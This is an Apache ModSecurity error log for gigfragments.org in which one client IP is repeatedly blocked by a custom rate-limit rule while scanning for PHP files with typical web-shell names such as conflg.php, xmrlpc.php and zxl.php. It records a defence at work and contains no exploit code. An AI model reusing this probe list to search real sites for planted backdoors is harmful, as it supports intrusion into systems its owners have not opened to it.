[Fri Dec 19 18:50:21.952001 2025] [:error] [pid 20582:tid 20651] [client 52.187.119.223:8918] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/conflg.php"] [unique_id "aUUt7cpAnrkQKZ4b5gYNxAAAAMk"]
[Fri Dec 19 18:50:22.263745 2025] [:error] [pid 20675:tid 20710] [client 52.187.119.223:9124] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/conflg.php"] [unique_id "aUUt7rMyJ3XqeDRsbQlq3QAAARY"]
[Fri Dec 19 18:50:22.560378 2025] [:error] [pid 20675:tid 20699] [client 52.187.119.223:9192] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/conflg.php"] [unique_id "aUUt7rMyJ3XqeDRsbQlq4AAAAQs"]
[Fri Dec 19 18:50:22.889338 2025] [:error] [pid 20675:tid 20698] [client 52.187.119.223:9132] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/conflg.php"] [unique_id "aUUt7rMyJ3XqeDRsbQlq5QAAAQo"]
[Fri Dec 19 18:50:23.177640 2025] [:error] [pid 20675:tid 20691] [client 52.187.119.223:8981] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmrlpc.php"] [unique_id "aUUt77MyJ3XqeDRsbQlq5gAAAQM"]
[Fri Dec 19 18:50:23.455658 2025] [:error] [pid 20675:tid 20693] [client 52.187.119.223:8922] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmrlpc.php"] [unique_id "aUUt77MyJ3XqeDRsbQlq6wAAAQU"]
[Fri Dec 19 18:50:23.778456 2025] [:error] [pid 41451:tid 41456] [client 52.187.119.223:8982] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmrlpc.php"] [unique_id "aUUt7wYXFn-DbZghZBGygAAAAAI"]
[Fri Dec 19 18:50:24.120674 2025] [:error] [pid 41451:tid 41475] [client 52.187.119.223:9115] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmrlpc.php"] [unique_id "aUUt8AYXFn-DbZghZBGygQAAABU"]
[Fri Dec 19 18:50:24.550308 2025] [:error] [pid 20580:tid 20597] [client 52.187.119.223:9012] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asas.php"] [unique_id "aUUt8Emd1op_YdAdgR14pgAAAEs"]
[Fri Dec 19 18:50:24.824044 2025] [:error] [pid 20675:tid 20699] [client 52.187.119.223:9065] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asas.php"] [unique_id "aUUt8LMyJ3XqeDRsbQlq8wAAAQs"]
[Fri Dec 19 18:50:25.149120 2025] [:error] [pid 20580:tid 20591] [client 52.187.119.223:9139] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asas.php"] [unique_id "aUUt8Umd1op_YdAdgR14pwAAAEU"]
[Fri Dec 19 18:50:25.450971 2025] [:error] [pid 20675:tid 20709] [client 52.187.119.223:8979] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asas.php"] [unique_id "aUUt8bMyJ3XqeDRsbQlq-AAAARU"]
[Fri Dec 19 18:50:25.767968 2025] [:error] [pid 20580:tid 20608] [client 52.187.119.223:9009] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aUUt8Umd1op_YdAdgR14qQAAAFY"]
[Fri Dec 19 18:50:26.120145 2025] [:error] [pid 20675:tid 20702] [client 52.187.119.223:9044] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aUUt8rMyJ3XqeDRsbQlq_QAAAQ4"]
[Fri Dec 19 18:50:26.492817 2025] [:error] [pid 20580:tid 20601] [client 52.187.119.223:9126] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aUUt8kmd1op_YdAdgR14rQAAAE8"]
[Fri Dec 19 18:50:26.851691 2025] [:error] [pid 20580:tid 20607] [client 52.187.119.223:9134] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aUUt8kmd1op_YdAdgR14rwAAAFU"]
[Fri Dec 19 18:50:27.261947 2025] [:error] [pid 20675:tid 20701] [client 52.187.119.223:9008] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aUUt87MyJ3XqeDRsbQlrBAAAAQ0"]
[Fri Dec 19 18:50:27.586088 2025] [:error] [pid 20675:tid 20709] [client 52.187.119.223:9034] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aUUt87MyJ3XqeDRsbQlrBgAAARU"]
[Fri Dec 19 18:50:28.109446 2025] [:error] [pid 41451:tid 41477] [client 52.187.119.223:9062] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aUUt9AYXFn-DbZghZBGyhgAAABc"]
[Fri Dec 19 18:50:28.374636 2025] [:error] [pid 20675:tid 20702] [client 52.187.119.223:9064] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aUUt9LMyJ3XqeDRsbQlrCwAAAQ4"]
[Fri Dec 19 18:50:28.726445 2025] [:error] [pid 20675:tid 20697] [client 52.187.119.223:9039] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/akcc.php"] [unique_id "aUUt9LMyJ3XqeDRsbQlrDQAAAQk"]
[Fri Dec 19 18:50:29.001295 2025] [:error] [pid 20675:tid 20692] [client 52.187.119.223:9013] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/akcc.php"] [unique_id "aUUt9bMyJ3XqeDRsbQlrDgAAAQQ"]
[Fri Dec 19 18:50:29.240035 2025] [:error] [pid 20675:tid 20701] [client 52.187.119.223:8976] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/akcc.php"] [unique_id "aUUt9bMyJ3XqeDRsbQlrEAAAAQ0"]
[Fri Dec 19 18:50:29.542631 2025] [:error] [pid 41451:tid 41462] [client 52.187.119.223:9079] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/akcc.php"] [unique_id "aUUt9QYXFn-DbZghZBGyigAAAAg"]
[Fri Dec 19 18:50:29.768674 2025] [:error] [pid 20675:tid 20696] [client 52.187.119.223:9067] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zxl.php"] [unique_id "aUUt9bMyJ3XqeDRsbQlrFAAAAQg"]
[Fri Dec 19 18:50:30.158865 2025] [:error] [pid 20581:tid 20617] [client 52.187.119.223:8998] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zxl.php"] [unique_id "aUUt9vxEv7WXNhnFD1ligAAAAII"]
[Fri Dec 19 18:50:30.377683 2025] [:error] [pid 41451:tid 41455] [client 52.187.119.223:8977] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zxl.php"] [unique_id "aUUt9gYXFn-DbZghZBGyiwAAAAE"]
[Fri Dec 19 18:50:30.673888 2025] [:error] [pid 20675:tid 20690] [client 52.187.119.223:9147] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zxl.php"] [unique_id "aUUt9rMyJ3XqeDRsbQlrFwAAAQI"]
[Fri Dec 19 18:50:30.983003 2025] [:error] [pid 20675:tid 20704] [client 52.187.119.223:8995] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/r.php"] [unique_id "aUUt9rMyJ3XqeDRsbQlrGQAAARA"]
[Fri Dec 19 18:50:31.220222 2025] [:error] [pid 41451:tid 41454] [client 52.187.119.223:9020] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/r.php"] [unique_id "aUUt9wYXFn-DbZghZBGyjwAAAAA"]
[Fri Dec 19 18:50:31.463189 2025] [:error] [pid 20582:tid 20664] [client 52.187.119.223:9070] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/r.php"] [unique_id "aUUt98pAnrkQKZ4b5gYNygAAANY"]
[Fri Dec 19 18:50:31.734686 2025] [:error] [pid 20675:tid 20701] [client 52.187.119.223:8937] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/r.php"] [unique_id "aUUt97MyJ3XqeDRsbQlrGwAAAQ0"]
[Fri Dec 19 18:50:31.951314 2025] [:error] [pid 20581:tid 20619] [client 52.187.119.223:9045] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ar.php"] [unique_id "aUUt9_xEv7WXNhnFD1lihQAAAIQ"]
[Fri Dec 19 18:50:32.252043 2025] [:error] [pid 20580:tid 20592] [client 52.187.119.223:9011] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ar.php"] [unique_id "aUUt-Emd1op_YdAdgR14tAAAAEY"]
[Fri Dec 19 18:50:32.519039 2025] [:error] [pid 20581:tid 20637] [client 52.187.119.223:9068] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ar.php"] [unique_id "aUUt-PxEv7WXNhnFD1liiAAAAJY"]
[Fri Dec 19 18:50:32.779769 2025] [:error] [pid 20582:tid 20650] [client 52.187.119.223:8983] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ar.php"] [unique_id "aUUt-MpAnrkQKZ4b5gYNzQAAAMg"]
[Fri Dec 19 18:50:33.021564 2025] [:error] [pid 20582:tid 20657] [client 52.187.119.223:20076] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/js.php"] [unique_id "aUUt-cpAnrkQKZ4b5gYNzgAAAM8"]
[Fri Dec 19 18:50:33.230093 2025] [:error] [pid 20582:tid 20647] [client 52.187.119.223:8950] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/js.php"] [unique_id "aUUt-cpAnrkQKZ4b5gYNzwAAAMU"]
[Fri Dec 19 18:50:33.467492 2025] [:error] [pid 20675:tid 20688] [client 52.187.119.223:8996] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/js.php"] [unique_id "aUUt-bMyJ3XqeDRsbQlrHQAAAQA"]
[Fri Dec 19 18:50:33.694798 2025] [:error] [pid 41451:tid 41477] [client 52.187.119.223:9063] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/js.php"] [unique_id "aUUt-QYXFn-DbZghZBGylwAAABc"]
[Fri Dec 19 18:50:33.937137 2025] [:error] [pid 41451:tid 41478] [client 52.187.119.223:8985] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file1.php"] [unique_id "aUUt-QYXFn-DbZghZBGymAAAABg"]
[Fri Dec 19 18:50:34.155894 2025] [:error] [pid 20581:tid 20634] [client 52.187.119.223:9000] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file1.php"] [unique_id "aUUt-vxEv7WXNhnFD1liiQAAAJM"]
[Fri Dec 19 18:50:34.375154 2025] [:error] [pid 20582:tid 20653] [client 52.187.119.223:8993] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file1.php"] [unique_id "aUUt-spAnrkQKZ4b5gYN0QAAAMs"]
[Fri Dec 19 18:50:34.649715 2025] [:error] [pid 41451:tid 41462] [client 52.187.119.223:8858] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file1.php"] [unique_id "aUUt-gYXFn-DbZghZBGymwAAAAg"]
[Fri Dec 19 18:50:34.919343 2025] [:error] [pid 41451:tid 41455] [client 52.187.119.223:8968] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mar.php"] [unique_id "aUUt-gYXFn-DbZghZBGynAAAAAE"]
[Fri Dec 19 18:50:35.204742 2025] [:error] [pid 41451:tid 41471] [client 52.187.119.223:8926] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mar.php"] [unique_id "aUUt-wYXFn-DbZghZBGyngAAABE"]
[Fri Dec 19 18:50:35.468204 2025] [:error] [pid 20582:tid 20646] [client 52.187.119.223:9073] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mar.php"] [unique_id "aUUt-8pAnrkQKZ4b5gYN0gAAAMQ"]
[Fri Dec 19 18:50:35.735864 2025] [:error] [pid 20675:tid 20706] [client 52.187.119.223:9075] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mar.php"] [unique_id "aUUt-7MyJ3XqeDRsbQlrIAAAARI"]
[Fri Dec 19 18:50:35.988264 2025] [:error] [pid 41451:tid 41476] [client 52.187.119.223:8987] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/123.php"] [unique_id "aUUt-wYXFn-DbZghZBGyoQAAABY"]
[Fri Dec 19 18:50:36.234829 2025] [:error] [pid 20582:tid 20648] [client 52.187.119.223:8935] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/123.php"] [unique_id "aUUt_MpAnrkQKZ4b5gYN1QAAAMY"]
[Fri Dec 19 18:50:36.466697 2025] [:error] [pid 20675:tid 20709] [client 52.187.119.223:9184] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/123.php"] [unique_id "aUUt_LMyJ3XqeDRsbQlrIQAAARU"]
[Fri Dec 19 18:50:36.727533 2025] [:error] [pid 20581:tid 20627] [client 52.187.119.223:9072] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/123.php"] [unique_id "aUUt_PxEv7WXNhnFD1lijgAAAIw"]
[Fri Dec 19 18:50:37.076142 2025] [:error] [pid 20581:tid 20617] [client 52.187.119.223:8967] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/321.php"] [unique_id "aUUt_fxEv7WXNhnFD1lijwAAAII"]
[Fri Dec 19 18:50:37.317139 2025] [:error] [pid 41451:tid 41460] [client 52.187.119.223:9018] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/321.php"] [unique_id "aUUt_QYXFn-DbZghZBGypQAAAAY"]
[Fri Dec 19 18:50:37.582009 2025] [:error] [pid 20580:tid 20602] [client 52.187.119.223:9015] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/321.php"] [unique_id "aUUt_Umd1op_YdAdgR14ugAAAFA"]
[Fri Dec 19 18:50:37.869278 2025] [:error] [pid 41451:tid 41477] [client 52.187.119.223:9014] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/321.php"] [unique_id "aUUt_QYXFn-DbZghZBGypwAAABc"]
[Fri Dec 19 18:50:38.147441 2025] [:error] [pid 20582:tid 20645] [client 52.187.119.223:9051] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aUUt_spAnrkQKZ4b5gYN1wAAAMM"]
